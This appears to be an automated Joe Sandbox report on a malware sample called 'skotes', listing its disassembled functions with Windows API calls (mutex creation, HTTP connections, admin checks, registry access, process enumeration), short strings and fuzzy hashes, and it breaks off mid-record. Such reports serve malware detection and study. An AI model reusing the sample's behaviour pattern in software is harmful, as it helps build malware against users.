String ID: Eastern Standard Time$Eastern Summer Time$XgE
API String ID: 2155170405-3532857169
Opcode ID: 408f858600a1f53604d9e13eb6c4a6de5f766e6ad14c8f26f7ae90bdf88e241d
Instruction ID: 8084bd392b0667b16f992d69d3ac30f533f8d402883a3cc5e9c46bc507ca970f
Opcode Fuzzy Hash: 408f858600a1f53604d9e13eb6c4a6de5f766e6ad14c8f26f7ae90bdf88e241d
Instruction Fuzzy Hash: 3B5117B1900215ABFB10EF65CE819AEB7B8EF44314F51026BF510E3291EBF89E418B59

Function 00436FB4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 141
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00436EE6), ref: 00436FD6
GetFileInformationByHandle.KERNELBASE(?,?), ref: 00437030
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00436EE6,?,000000FF,00000000,00000000), ref: 004370BE
__dosmaperr.LIBCMT ref: 004370C5
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 00437102

Part of subcall function 0043732A: __dosmaperr.LIBCMT ref: 0043735F

Strings

nC, xrefs: 00436FCE

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID: nC
API String ID: 1206951868-4036674207
Opcode ID: 86e5fd9136cdb96635c5e3928c31e0abe061b40da60be764ea64b9a7682f7f14
Instruction ID: 47e44e870bed0e4f5047e2c803f8af1af40435cbdbdaacedd5eb414e92fa1372
Opcode Fuzzy Hash: 86e5fd9136cdb96635c5e3928c31e0abe061b40da60be764ea64b9a7682f7f14
Instruction Fuzzy Hash: 25415EB6904604ABCF389FB6DC459ABBBF9EF48300F10542EF996D3211E638D940CB25

Function 0040A960 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000064,?), ref: 0040A963
CreateMutexA.KERNELBASE(00000000,00000000,00463254), ref: 0040A981
GetLastError.KERNEL32 ref: 0040A989
GetLastError.KERNEL32 ref: 0040A99A

Strings

T2F, xrefs: 0040A970

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast$CreateMutexSleep
String ID: T2F
API String ID: 3645482037-3862687658
Opcode ID: 22d48eb3b4a7bfffc1da350843d0ee0628f12e32837666ee09138f6f29d68e28
Instruction ID: 4267c3f1042b1db60c627e826e67de47f966f9a2e69db95d5a02111995aa7e65
Opcode Fuzzy Hash: 22d48eb3b4a7bfffc1da350843d0ee0628f12e32837666ee09138f6f29d68e28
Instruction Fuzzy Hash: BEE01A34244300DBE7501BA8BC1EB1A762197E4B13F610836E609D62E1D77C8994865F

Function 00408380 Relevance: 7.7, APIs: 5, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,708790F9), ref: 004083F9
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408460
GetProcAddress.KERNEL32(00000000), ref: 00408467
GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408524

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: AddressHandleInfoModuleNativeProcSystemVersion
String ID:
API String ID: 2167034304-0
Opcode ID: 5d60867e683eb6688146dae2e36a8fce10db26679ecea8bbc19ff5c477483b5e
Instruction ID: 938ad35630e66277154cddf74743d86f98c067e6d70a9bb90e20810804f89ef8
Opcode Fuzzy Hash: 5d60867e683eb6688146dae2e36a8fce10db26679ecea8bbc19ff5c477483b5e
Instruction Fuzzy Hash: E9510870D00214ABDB14EF68DE497DEBB74EB46314F5042BEE445A72C1EF389AC48B99

Function 00409580 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 229COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,708790F9,00000000,00000000), ref: 004095CF

Strings

hT,F, xrefs: 00409A35
UA==, xrefs: 00409655
T2F, xrefs: 0040A970

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID: T2F$UA==$hT,F
API String ID: 514040917-3981740572
Opcode ID: c3f63f71a82419a1f98ab6c8412299d49411fd0883c71401ab68ecce9ac564b6
Instruction ID: a3ec3fe220169e7ee09b8d3bcdd3bc73549a871bf8e01dd36361794633b7c963
Opcode Fuzzy Hash: c3f63f71a82419a1f98ab6c8412299d49411fd0883c71401ab68ecce9ac564b6
Instruction Fuzzy Hash: AB919371A101188BDB29DF28CD95BDDB775EB86304F1081EEE409A7292DB399EC4CF84

Function 00407590 Relevance: 6.2, APIs: 4, Instructions: 157sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000064,708790F9,?,00000000,00449138,000000FF), ref: 004075CC
__Init_thread_footer.LIBCMT ref: 00407659

Part of subcall function 0041D0C7: RtlEnterCriticalSection.NTDLL(00465750), ref: 0041D0D1
Part of subcall function 0041D0C7: RtlLeaveCriticalSection.NTDLL(00465750), ref: 0041D104
Part of subcall function 0041D0C7: RtlWakeAllConditionVariable.NTDLL ref: 0041D17B

CreateThread.KERNELBASE(00000000,00000000,00407430,00468638,00000000,00000000), ref: 004076BE
Sleep.KERNELBASE(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004076C9

Part of subcall function 0041D111: RtlEnterCriticalSection.NTDLL(00465750), ref: 0041D11C
Part of subcall function 0041D111: RtlLeaveCriticalSection.NTDLL(00465750), ref: 0041D159

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep$ConditionCreateInit_thread_footerThreadVariableWake
String ID:
API String ID: 4065365256-0
Opcode ID: 414dff22cb025f4ba11d35654b737033c8d2568d940acc8c2f3813a987c63d95
Instruction ID: 683a647b13dcea2e33a605b0b88060115ff1506c65b181c71abe4559a2bd774f
Opcode Fuzzy Hash: 414dff22cb025f4ba11d35654b737033c8d2568d940acc8c2f3813a987c63d95
Instruction Fuzzy Hash: D751C3B0641248ABEB14DF28DD85B8D3BA1EB45718F50462EF805973D1DBBDE480CB9E

Function 0044284D Relevance: 4.6, APIs: 3, Instructions: 79COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004428C0
_free.LIBCMT ref: 00442916

Part of subcall function 004426F2: _free.LIBCMT ref: 0044274A
Part of subcall function 004426F2: GetTimeZoneInformation.KERNELBASE(?,00000000,00000000,00000000,?,00456758), ref: 0044275C

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: f87cbb37d26a9294995cc9def7b394ab45dcd78de0b256dadcc3d82326988738
Instruction ID: aa9ce2989c6c336e31514a96f4e6fb7d692e09f2712c57d8f72fe12a646e0e08
Opcode Fuzzy Hash: f87cbb37d26a9294995cc9def7b394ab45dcd78de0b256dadcc3d82326988738
Instruction Fuzzy Hash: 3721297280012467FB3077268E41AEF7768DB45364F5103ABF894F2191EFF85D8685AE

Function 0040D6D0 Relevance: 3.3, APIs: 2, Instructions: 344COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0040D913
CreateDirectoryA.KERNEL32(00000000,00000000,?,?,?,?), ref: 0040DA2F

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: CreateDirectoryFileModuleName
String ID:
API String ID: 3341437400-0
Opcode ID: 739ebce6beb3917115f90792f628b6d35057d28e5378ae332019e6667baa2f2e
Instruction ID: 356aa6b92bfaa8af969dd63514fc26cfae74af50270e9637002ed8b1091a62dc
Opcode Fuzzy Hash: 739ebce6beb3917115f90792f628b6d35057d28e5378ae332019e6667baa2f2e
Instruction Fuzzy Hash: ECD1F271D002189BEB24EB28CD497DDBB71AF46304F1441EEE448A72C2DB795BC8CB99

Function 0040E62D Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 321sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00417A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00417AF8
Part of subcall function 00417A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00417B01

Part of subcall function 0040BE30: Sleep.KERNELBASE(000005DC,708790F9,?,00000000), ref: 0040BEB8
Part of subcall function 0040BE30: InternetOpenW.WININET(00458DC8,00000000,00000000,00000000,00000000), ref: 0040BEC7
Part of subcall function 0040BE30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0040BEEB
Part of subcall function 0040BE30: HttpOpenRequestA.WININET(?,00000000), ref: 0040BF35

Sleep.KERNEL32(00001388), ref: 0040E84E

Strings

MGE+, xrefs: 0040E821

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpenSleep$Cnd_destroy_in_situConnectHttpMtx_destroy_in_situRequest
String ID: MGE+
API String ID: 2868416192-475891385
Opcode ID: ea24192c4fa5a7b11ad18394e8ec795415ce9b96ef63fa61b004b728f9a0c733
Instruction ID: ecbd5c1f3dfb36fa84aba9144898932e09c04449fa4207ef1a3ad4e147e0d839
Opcode Fuzzy Hash: ea24192c4fa5a7b11ad18394e8ec795415ce9b96ef63fa61b004b728f9a0c733
Instruction Fuzzy Hash: 5AB15A71A101448BEF1CDF39CE8979DBB22AF86304F54856EE448A73D6C73D8AD08B59

Function 00436E4C Relevance: 3.1, APIs: 2, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 252c254f2abb702762ee6eaaae6a4f08298d1525430aa046c5752791b50f707c
Instruction ID: 1ad452bb4f6bd1fcc71e4866ccee7b4b6747d643255ce8273aa22d0afbfa644d
Opcode Fuzzy Hash: 252c254f2abb702762ee6eaaae6a4f08298d1525430aa046c5752791b50f707c
Instruction Fuzzy Hash: EE216D72504205BBDB106B69EC42FAF3729DF49338F11531BF9242B2D1D7789E058665

Function 00437124 Relevance: 3.1, APIs: 2, Instructions: 54timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(00000000,?,?,?,?,0043705B,?,?,00000000,00000000), ref: 00437152
SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?,?,?,?,0043705B,?,?,00000000,00000000), ref: 00437166

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 8298bbf10895cd01c4960c57ef31bed2cf3fa0d0b6bd1f945562adba26ccaa03
Instruction ID: b0ce29f20c365957359a722d5338d126ac326b5dc431849d34d62fa4a73a48c2
Opcode Fuzzy Hash: 8298bbf10895cd01c4960c57ef31bed2cf3fa0d0b6bd1f945562adba26ccaa03
Instruction Fuzzy Hash: E3110AB290410DABDF10DFA5C985EDF77BCAB0C310F105266E552E2281EA34EA45CBA5

Function 006D0EF6 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 006D0F1E
Module32First.KERNEL32(00000000,00000224), ref: 006D0F3E

Memory Dump Source

Source File: 0000001C.00000002.4668968733.00000000006D0000.00000040.00000020.00020000.00000000.sdmp, Offset: 006D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 8e59ecfcb67c654c9ff15bce1e9eb2e7a1073871e4ca28e2d953c8d79ba27e69
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 97F0C2329003146BE7303BB49C8CBAB76E9AF48334F20016AEA42912C0DB70EC058662

Function 00416D30 Relevance: 3.0, APIs: 2, Instructions: 23sleepthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 0040A960: Sleep.KERNELBASE(00000064,?), ref: 0040A963
Part of subcall function 0040A960: CreateMutexA.KERNELBASE(00000000,00000000,00463254), ref: 0040A981
Part of subcall function 0040A960: GetLastError.KERNEL32 ref: 0040A989
Part of subcall function 0040A960: GetLastError.KERNEL32 ref: 0040A99A

Part of subcall function 00414FC0: IsUserAnAdmin.SHELL32 ref: 00415117

Part of subcall function 00405EE0: RegOpenKeyExA.KERNELBASE(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0040617D

CreateThread.KERNELBASE(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00416D10
Sleep.KERNELBASE(00007530), ref: 00416D25

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: CreateErrorLastSleep$AdminMutexOpenThreadUser
String ID:
API String ID: 633219957-0
Opcode ID: 6382081bcbf8a9ed3d33521cf0e432a915f352317681496325614467e45a9fec
Instruction ID: 0e677149ad7de975180ec068863c876e2b41020de11884c8df8d41ceb524a5b2
Opcode Fuzzy Hash: 6382081bcbf8a9ed3d33521cf0e432a915f352317681496325614467e45a9fec
Instruction Fuzzy Hash: 1FE08C75784304A6E21033F27C0BF997A109F09F15F26013AB25A3A1D2D9ECB08086EF

Function 00620E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00620223,?,?), ref: 00620E19
SetErrorMode.KERNELBASE(00000000,?,?,00620223,?,?), ref: 00620E1E

Memory Dump Source

Source File: 0000001C.00000002.4668844085.0000000000620000.00000040.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_620000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: ca7d39d3f00bb23aeb65542139c9111eb9232972a72a4ee517b453a7e7f206fa
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: FCD0123114512877D7002A94DC09BCD7B1CDF05B62F008411FB0DD9581C770994046E5

Function 00409BA5 Relevance: 1.6, APIs: 1, Instructions: 114sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00409BA8
Sleep.KERNELBASE(00000064,?), ref: 0040A963
CreateMutexA.KERNELBASE(00000000,00000000,00463254), ref: 0040A981
GetLastError.KERNEL32 ref: 0040A989
GetLastError.KERNEL32 ref: 0040A99A

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast$AttributesCreateFileMutexSleep
String ID:
API String ID: 2742703886-0
Opcode ID: 53471c46ac7b6a171a8b5fc03fdab2b10b915cfe7e3a144d5f8f792389d3c36a
Instruction ID: 7e1d01c556cb082985a4f17b2a51333caa139cfaeafd210115c5a1cc01520285
Opcode Fuzzy Hash: 53471c46ac7b6a171a8b5fc03fdab2b10b915cfe7e3a144d5f8f792389d3c36a
Instruction Fuzzy Hash: 24310A71B042048BEB08DB78DD8979DBB72AB86314F24822EE014A73D7C77D59818759

Function 00409CDA Relevance: 1.6, APIs: 1, Instructions: 113sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00409CDD
Sleep.KERNELBASE(00000064,?), ref: 0040A963
CreateMutexA.KERNELBASE(00000000,00000000,00463254), ref: 0040A981
GetLastError.KERNEL32 ref: 0040A989
GetLastError.KERNEL32 ref: 0040A99A

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast$AttributesCreateFileMutexSleep
String ID:
API String ID: 2742703886-0
Opcode ID: d0e2ee8929173cdbf4c4eed753dca510f5af732aeb5f74f30a01ddad5c3b4f90
Instruction ID: 0e123196e389163a014bf37837ab22d3a6f9e79e24d0f41892ca171da603fc17
Opcode Fuzzy Hash: d0e2ee8929173cdbf4c4eed753dca510f5af732aeb5f74f30a01ddad5c3b4f90
Instruction Fuzzy Hash: 653121B1B002448BEB08DB78CD8879DBB62EF86314F24872EE014B73D6C73D89808719

Function 00409F44 Relevance: 1.6, APIs: 1, Instructions: 111sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00409F47
Sleep.KERNELBASE(00000064,?), ref: 0040A963
CreateMutexA.KERNELBASE(00000000,00000000,00463254), ref: 0040A981
GetLastError.KERNEL32 ref: 0040A989
GetLastError.KERNEL32 ref: 0040A99A

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast$AttributesCreateFileMutexSleep
String ID:
API String ID: 2742703886-0
Opcode ID: 0216fdfb454eb06baf423f39605ed81fdf4b3bfecdd5e7f155feb547e108ed6f
Instruction ID: 25b8a05e2f5ca2221b1379c0d184bf5d223b3dfc1bbea06bdebe58c70b0e8399
Opcode Fuzzy Hash: 0216fdfb454eb06baf423f39605ed81fdf4b3bfecdd5e7f155feb547e108ed6f
Instruction Fuzzy Hash: 98313571B002058BEB08DF78CD8879CBB62EB86314F24862EE014F73D6C73E89908759

Function 0040A079 Relevance: 1.6, APIs: 1, Instructions: 110sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0040A07C
Sleep.KERNELBASE(00000064,?), ref: 0040A963
CreateMutexA.KERNELBASE(00000000,00000000,00463254), ref: 0040A981
GetLastError.KERNEL32 ref: 0040A989
GetLastError.KERNEL32 ref: 0040A99A

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast$AttributesCreateFileMutexSleep
String ID:
API String ID: 2742703886-0
Opcode ID: 88e878ab482da15b5161df7b52c4b1a5f7044177cc81b821c3be18370bdf11dc
Instruction ID: 2913f941f3630a9fa7767d0b601c4b6f769c1fb87bf52926f0cd03d72d2447b6
Opcode Fuzzy Hash: 88e878ab482da15b5161df7b52c4b1a5f7044177cc81b821c3be18370bdf11dc
Instruction Fuzzy Hash: EA313871B002049BEB08CF78CD8879CBB72EB86314F24832EE014AB3D5C77E5990875A

Function 0040A1AE Relevance: 1.6, APIs: 1, Instructions: 109sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0040A1B1
Sleep.KERNELBASE(00000064,?), ref: 0040A963
CreateMutexA.KERNELBASE(00000000,00000000,00463254), ref: 0040A981
GetLastError.KERNEL32 ref: 0040A989
GetLastError.KERNEL32 ref: 0040A99A

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast$AttributesCreateFileMutexSleep
String ID:
API String ID: 2742703886-0
Opcode ID: b58d3c0f583deb09c94fa5bacb6b39bd66a3bd1ce796c2c9e13856887924e195
Instruction ID: 0d6a49526a1327b253fe5098ec14963d2f5facb1360acb2292d3cc5b5202a49d
Opcode Fuzzy Hash: b58d3c0f583deb09c94fa5bacb6b39bd66a3bd1ce796c2c9e13856887924e195
Instruction Fuzzy Hash: 06313871B002449BEB08CB78DD8979CBB72AB86314F24826EE010BB3D1D73E4990875A

Function 0040A2E3 Relevance: 1.6, APIs: 1, Instructions: 108sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0040A2E6
Sleep.KERNELBASE(00000064,?), ref: 0040A963
CreateMutexA.KERNELBASE(00000000,00000000,00463254), ref: 0040A981
GetLastError.KERNEL32 ref: 0040A989
GetLastError.KERNEL32 ref: 0040A99A

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast$AttributesCreateFileMutexSleep
String ID:
API String ID: 2742703886-0
Opcode ID: 6e94145214bef973793fe427d23932e970127bf20b86fb382447409c3aa88be8
Instruction ID: d4318adec2a0b0823987713c0d9e9fbe03db99375cc119bf87b2444f6c438343
Opcode Fuzzy Hash: 6e94145214bef973793fe427d23932e970127bf20b86fb382447409c3aa88be8
Instruction Fuzzy Hash: B5314C71B002449BDB18CB7CDD8879CBB72AB86314F24832EE415B77D5C77E9990871A

Function 0040A418 Relevance: 1.6, APIs: 1, Instructions: 107sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0040A41B
Sleep.KERNELBASE(00000064,?), ref: 0040A963
CreateMutexA.KERNELBASE(00000000,00000000,00463254), ref: 0040A981
GetLastError.KERNEL32 ref: 0040A989
GetLastError.KERNEL32 ref: 0040A99A

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast$AttributesCreateFileMutexSleep
String ID:
API String ID: 2742703886-0
Opcode ID: 3cb95feb25ffbecb475e2b992bbf89ef279567f43ac2449aabbd215152769c76
Instruction ID: 177968d54e80b63577a18a42233b898a1cac99c92728e3749c20e12237d1c7da
Opcode Fuzzy Hash: 3cb95feb25ffbecb475e2b992bbf89ef279567f43ac2449aabbd215152769c76
Instruction Fuzzy Hash: 8F314B71B002009BEB08DB78CD8D79DB772EF85314F24822EE010A73D6D7BD5990875A

Function 0040A54D Relevance: 1.6, APIs: 1, Instructions: 106sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0040A550
Sleep.KERNELBASE(00000064,?), ref: 0040A963
CreateMutexA.KERNELBASE(00000000,00000000,00463254), ref: 0040A981
GetLastError.KERNEL32 ref: 0040A989
GetLastError.KERNEL32 ref: 0040A99A

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast$AttributesCreateFileMutexSleep
String ID:
API String ID: 2742703886-0
Opcode ID: 2490790a2c4424bfcbf128f3201736b9eb669bf7d92e41271162f2c2d877e618
Instruction ID: bda3843c8d2f1f79bae2c8a69c6dbbf832d70b156e41472656c3fc89fe85ee9b
